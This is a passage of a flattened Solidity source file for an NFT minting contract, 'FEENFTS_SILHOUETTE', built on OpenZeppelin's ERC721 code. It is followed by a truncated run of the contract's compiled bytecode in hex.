section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/FEENFTS_SILHOUETTE.sol // Amended by FEENFTS pragma solidity >=0.7.0 <0.9.0; contract FEENFTS_SILHOUETTE is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.01 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmountPerTx = 10; bool public paused = true; bool public revealed = false; constructor() ERC721("SILHOUETE", "SIL") { setHiddenMetadataUri("ipfs://QmXhwUGPscBEj97yLLfjStzd3pDaMCJ82nKzqjAmYNX7au/HIDDEN.json"); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }
0x60806040526004361061020f5760003560e01c80636352211e11610118578063a45ba8e7116100a0578063d5abeb011161006f578063d5abeb01146105c9578063e0a80853146105df578063e985e9c5146105ff578063efbd73f414610648578063f2fde38b1461066857600080fd5b8063a45ba8e714610554578063b071401b14610569578063b88d4fde14610589578063c87b56dd146105a957600080fd5b80638da5cb5b116100e75780638da5cb5b146104d857806394354fd0146104f657806395d89b411461050c578063a0712d6814610521578063a22cb4651461053457600080fd5b80636352211e1461046357806370a0823114610483578063715018a6146104a35780637ec4a659146104b857600080fd5b80633ccfd60b1161019b5780634fdd43cb1161016a5780634fdd43cb146103e057806351830227146104005780635503a0e81461041f5780635c975abb1461043457806362b99ad41461044e57600080fd5b80633ccfd60b1461035e57806342842e0e14610373578063438b63001461039357806344a0d68a146103c057600080fd5b806313faede6116101e257806313faede6146102c557806316ba10e0146102e957806316c38b3c1461030957806318160ddd1461032957806323b872dd1461033e57600080fd5b806301ffc9a71461021457806306fdde0314610249578063081812fc1461026b578063095ea7b3146102a3575b600080fd5b34801561022057600080fd5b5061023461022f366004611e09565b610688565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b5061025e6106da565b6040516102409190612039565b34801561027757600080fd5b5061028b610286366004611e8c565b61076c565b6040516001600160a01b039091168152602001610240565b3480156102af57600080fd5b506102c36102be366004611dc4565b610806565b005b3480156102d157600080fd5b506102db600b5481565b604051908152602001610240565b3480156102f557600080fd5b506102c3610304366004611e43565b61091c565b34801561031557600080fd5b506102c3610324366004611dee565b61095d565b34801561033557600080fd5b506102db61099a565b34801561034a57600080fd5b506102c3610359366004611ce2565b6109aa565b34801561036a57600080fd5b506102c36109db565b34801561037f57600080fd5b506102c361038e366004611ce2565b610a79565b34801561039f57600080fd5b506103b36103ae366004611c94565b610a94565b6040516102409190611ff5565b3480156103cc57600080fd5b506102c36103db366004611e8c565b610b75565b3480156103ec57600080fd5b506102c36103fb366004611e43565b610ba4565b34801561040c57600080fd5b50600e5461023490610100900460ff1681565b34801561042b57600080fd5b5061025e610be1565b34801561044057600080fd5b50600e546102349060ff1681565b34801561045a57600080fd5b5061025e610c6f565b34801561046f57600080fd5b5061028b61047e366004611e8c565b610c7c565b34801561048f57600080fd5b506102db61049e366004611c94565b610cf3565b3480156104af57600080fd5b506102c3610d7a565b3480156104c457600080fd5b506102c36104d3366004611e43565b610db0565b3480156104e457600080fd5b506006546001600160a01b031661028b565b34801561050257600080fd5b506102db600d5481565b34801561051857600080fd5b5061025e610ded565b6102c361052f366004611e8c565b610dfc565b34801561054057600080fd5b506102c361054f366004611d9a565b610f5e565b34801561056057600080fd5b5061025e610f69565b34801561057557600080fd5b506102c3610584366004611e8c565b610f76565b34801561059557600080fd5b506102c36105a4366004611d1e565b610fa5565b3480156105b557600080fd5b5061025e6105c4366004611e8c565b610fdd565b3480156105d557600080fd5b506102db600c5481565b3480156105eb57600080fd5b506102c36105fa366004611dee565b61115c565b34801561060b57600080fd5b5061023461061a366004611caf565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561065457600080fd5b506102c3610663366004611ea5565b6111a0565b34801561067457600080fd5b506102c3610683366004611c94565b611286565b60006001600160e01b031982166380ac58cd60e01b14806106b957506001600160e01b03198216635b5e139f60e01b145b806106d457506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546106e9906121b2565b80601f0160208091040260200160405190810160405280929190818152602001828054610715906121b2565b80156107625780601f1061073757610100808354040283529160200191610762565b820191906000526020600020905b81548152906001019060200180831161074557829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107ea5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061081182610c7c565b9050806001600160a01b0316836001600160a01b0316141561087f5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107e1565b336001600160a01b038216148061089b575061089b813361061a565b61090d5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107e1565b610917838361131e565b505050565b6006546001600160a01b031633146109465760405162461bcd60e51b81526004016107e19061209e565b8051610959906009906020840190611b59565b5050565b6006546001600160a01b031633146109875760405162461bcd60e51b81526004016107e19061209e565b600e805460ff1916911515919091179055565b60006109a560075490565b905090565b6109b4338261138c565b6109d05760405162461bcd60e51b81526004016107e1906120d3565b610917838383611483565b6006546001600160a01b03163314610a055760405162461bcd60e51b81526004016107e19061209e565b6000610a196006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610a63576040519150601f19603f3d011682016040523d82523d6000602084013e610a68565b606091505b5050905080610a7657600080fd5b50565b61091783838360405180602001604052806000815250610fa5565b60606000610aa183610cf3565b905060008167ffffffffffffffff811115610abe57610abe61225e565b604051908082528060200260200182016040528015610ae7578160200160208202803683370190505b509050600160005b8381108015610b005750600c548211155b15610b6b576000610b1083610c7c565b9050866001600160a01b0316816001600160a01b03161415610b585782848381518110610b3f57610b3f612248565b602090810291909101015281610b54816121ed565b9250505b82610b62816121ed565b93505050610aef565b5090949350505050565b6006546001600160a01b03163314610b9f5760405162461bcd60e51b81526004016107e19061209e565b600b55565b6006546001600160a01b03163314610bce5760405162461bcd60e51b81526004016107e19061209e565b805161095990600a906020840190611b59565b60098054610bee906121b2565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1a906121b2565b8015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b505050505081565b60088054610bee906121b2565b6000818152600260205260408120546001600160a01b0316806106d45760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107e1565b60006001600160a01b038216610d5e5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107e1565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610da45760405162461bcd60e51b81526004016107e19061209e565b610dae600061161f565b565b6006546001600160a01b03163314610dda5760405162461bcd60e51b81526004016107e19061209e565b8051610959906008906020840190611b59565b6060600180546106e9906121b2565b80600081118015610e0f5750600d548111155b610e525760405162461bcd60e51b8152602060048201526014602482015273496e76616c6964206d696e7420616d6f756e742160601b60448201526064016107e1565b600c5481610e5f60075490565b610e699190612124565b1115610eae5760405162461bcd60e51b81526020600482015260146024820152734d617820737570706c792065786365656465642160601b60448201526064016107e1565b600e5460ff1615610f015760405162461bcd60e51b815260206004820152601760248201527f54686520636f6e7472616374206973207061757365642100000000000000000060448201526064016107e1565b81600b54610f0f9190612150565b341015610f545760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016107e1565b6109593383611671565b6109593383836116ae565b600a8054610bee906121b2565b6006546001600160a01b03163314610fa05760405162461bcd60e51b81526004016107e19061209e565b600d55565b610faf338361138c565b610fcb5760405162461bcd60e51b81526004016107e1906120d3565b610fd78484848461177d565b50505050565b6000818152600260205260409020546060906001600160a01b031661105c5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016107e1565b600e54610100900460ff166110fd57600a8054611078906121b2565b80601f01602080910402602001604051908101604052809291908181526020018280546110a4906121b2565b80156110f15780601f106110c6576101008083540402835291602001916110f1565b820191906000526020600020905b8154815290600101906020018083116110d457829003601f168201915b50505050509050919050565b60006111076117b0565b905060008151116111275760405180602001604052806000815250611155565b80611131846117bf565b600960405160200161114593929190611ef4565b6040516020818303038152906040525b9392505050565b6006546001600160a01b031633146111865760405162461bcd60e51b81526004016107e19061209e565b600e80549115156101000261ff0019909216919091179055565b816000811180156111b35750600d548111155b6111f65760405162461bcd60e51b8152602060048201526014602482015273496e76616c6964206d696e7420616d6f756e742160601b60448201526064016107e1565b600c548161120360075490565b61120d9190612124565b11156112525760405162461bcd60e51b81526020600482015260146024820152734d617820737570706c792065786365656465642160601b60448201526064016107e1565b6006546001600160a01b0316331461127c5760405162461bcd60e51b81526004016107e19061209e565b6109178284611671565b6006546001600160a01b031633146112b05760405162461bcd60e51b81526004016107e19061209e565b6001600160a01b0381166113155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107e1565b610a768161161f565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061135382610c7c565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166114055760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107e1565b600061141083610c7c565b9050806001600160a01b0316846001600160a01b0316148061144b5750836001600160a01b03166114408461076c565b6001600160a01b0316145b8061147b57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661149682610c7c565b6001600160a01b0316146114fa5760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b60648201526084016107e1565b6001600160a01b03821661155c5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107e1565b61156760008261131e565b6001600160a01b038316600090815260036020526040812080546001929061159090849061216f565b90915550506001600160a01b03821660009081526003602052604081208054600192906115be908490612124565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60005b818110156109175761168a600780546001019055565b61169c8361169760075490565b6118bd565b806116a6816121ed565b915050611674565b816001600160a01b0316836001600160a01b031614156117105760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107e1565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611788848484611483565b611794848484846118d7565b610fd75760405162461bcd60e51b81526004016107e19061204c565b6060600880546106e9906121b2565b6060816117e35750506040805180820190915260018152600360fc1b602082015290565b8160005b811561180d57806117f7816121ed565b91506118069050600a8361213c565b91506117e7565b60008167ffffffffffffffff8111156118285761182861225e565b6040519080825280601f01601f191660200182016040528015611852576020820181803683370190505b5090505b841561147b5761186760018361216f565b9150611874600a86612208565b61187f906030612124565b60f81b81838151811061189457611894612248565b60200101906001600160f81b031916908160001a9053506118b6600a8661213c565b9450611856565b6109598282604051806020016040528060008152506119e4565b60006001600160a01b0384163b156119d957604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061191b903390899088908890600401611fb8565b602060405180830381600087803b15801561193557600080fd5b505af1925050508015611965575060408051601f3d908101601f1916820190925261196291810190611e26565b60015b6119bf573d808015611993576040519150601f19603f3d011682016040523d82523d6000602084013e611998565b606091505b5080516119b75760405162461bcd60e51b81526004016107e19061204c565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061147b565b506001949350505050565b6119ee8383611a17565b6119fb60008484846118d7565b6109175760405162461bcd60e51b81526004016107e19061204c565b6001600160a01b038216611a6d5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107e1565b6000818152600260205260409020546001600160a01b031615611ad25760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107e1565b6001600160a01b0382166000908152600360205260408120805460019290611afb908490612124565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611b65906121b2565b90600052602060002090601f016020900481019282611b875760008555611bcd565b82601f10611ba057805160ff1916838001178555611bcd565b82800160010185558215611bcd579182015b82811115611bcd578251825591602001919060010190611bb2565b50611bd9929150611bdd565b5090565b5b80821115611bd95760008155600101611bde565b600067ffffffffffffffff80841115611c0d57611c0d61225e565b604051601f8501601f19908116603f01168101908282118183101715611c3557611c3561225e565b81604052809350858152868686011115611c4e57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611c7f57600080fd5b919050565b80358015158114611c7f57600080fd5b600060208284031215611ca657600080fd5b61115582611c68565b6000